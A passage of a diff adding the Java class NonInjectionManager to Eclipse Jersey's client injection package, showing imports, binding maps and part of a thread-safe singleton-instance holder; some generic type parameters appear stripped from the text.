+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.innate.inject;
+
+import org.glassfish.jersey.client.internal.LocalizationMessages;
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.internal.inject.DisposableSupplier;
+import org.glassfish.jersey.internal.inject.ForeignDescriptor;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InstanceBinding;
+import org.glassfish.jersey.internal.inject.PerThread;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
+import org.glassfish.jersey.internal.inject.SupplierClassBinding;
+import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
+import org.glassfish.jersey.process.internal.RequestScope;
+import org.glassfish.jersey.process.internal.RequestScoped;
+
+import jakarta.annotation.PostConstruct;
+import jakarta.annotation.PreDestroy;
+import jakarta.inject.Inject;
+import jakarta.inject.Provider;
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.ConstrainedTo;
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.MultivaluedHashMap;
+import jakarta.ws.rs.core.MultivaluedMap;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Executable;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Proxy;
+import java.lang.reflect.Type;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.function.Supplier;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import java.util.stream.Collectors;
+
+@ConstrainedTo(RuntimeType.CLIENT)
+public final class NonInjectionManager implements InjectionManager {
+ private static final Logger logger = Logger.getLogger(NonInjectionManager.class.getName());
+
+ private final MultivaluedMap, InstanceBinding>> instanceBindings = new MultivaluedHashMap<>();
+ private final MultivaluedMap, ClassBinding>> contractBindings = new MultivaluedHashMap<>();
+ private final MultivaluedMap, SupplierInstanceBinding>> supplierInstanceBindings = new MultivaluedHashMap<>();
+ private final MultivaluedMap, SupplierClassBinding>> supplierClassBindings = new MultivaluedHashMap<>();
+ private final MultivaluedMap> instanceTypeBindings = new MultivaluedHashMap<>();
+ private final MultivaluedMap> contractTypeBindings = new MultivaluedHashMap<>();
+ private final MultivaluedMap> supplierTypeInstanceBindings = new MultivaluedHashMap<>();
+ private final MultivaluedMap> supplierTypeClassBindings = new MultivaluedHashMap<>();
+
+ private final MultivaluedMap disposableSupplierObjects = new MultivaluedHashMap<>();
+
+ private final Instances instances = new Instances();
+ private final Types types = new Types();
+
+ private volatile boolean isRequestScope = false;
+ private volatile boolean shutdown = false;
+
+ /**
+ * A class that holds singleton instances and thread-scope instances. Provides thread safe access to singletons
+ * and thread-scope instances. The instances are created for Type (ParametrizedType) and for a Class.
+ * @param the type for which the instance is created, either Class, or ParametrizedType (for instance
+ * Provider<SomeClass>).
+ */
+ private class TypedInstances {
+ private final MultivaluedMap> singletonInstances = new MultivaluedHashMap<>();
+ private final ThreadLocal>> threadInstances = new ThreadLocal<>();
+ private final List threadPredestroyables = Collections.synchronizedList(new LinkedList<>());
+
+ private List> _getSingletons(TYPE clazz) {
+ List> si;
+ synchronized (singletonInstances) {
+ si = singletonInstances.get(clazz);
+ }
+ return si;
+ }
+
+ @SuppressWarnings("unchecked")
+ T _addSingleton(TYPE clazz, T instance, Binding, ?> binding, Annotation[] qualifiers) {
+ synchronized (singletonInstances) {
+ // check existing singleton with a qualifier already created by another thread io a meantime
+ List> values = singletonInstances.get(clazz);
+ if (values != null) {
+ List> qualified
+ = values.stream()
+ .filter(ctx -> ctx.hasQualifiers(qualifiers))
+ .collect(Collectors.toList());
+ if (!qualified.isEmpty()) {
+ return (T) qualified.get(0).instance;
+ }
+ }
+ singletonInstances.add(clazz, new InstanceContext<>(instance, binding, qualifiers));
+ threadPredestroyables.add(instance);
+ return instance;
+ }
+ }
+
+ @SuppressWarnings("unchecked")
+ T addSingleton(TYPE clazz, T t, Binding, ?> binding, Annotation[] instanceQualifiers) {
+ T t2 = _addSingleton(clazz, t, binding, instanceQualifiers);
+ if (t2 == t) {
+ for (Type contract : binding.getContracts()) {
+ if (!clazz.equals(contract) && isClass(contract)) {
+ _addSingleton((TYPE) contract, t, binding, instanceQualifiers);
+ }
+ }
+ }
+ return t2;
+ }
+
+ private List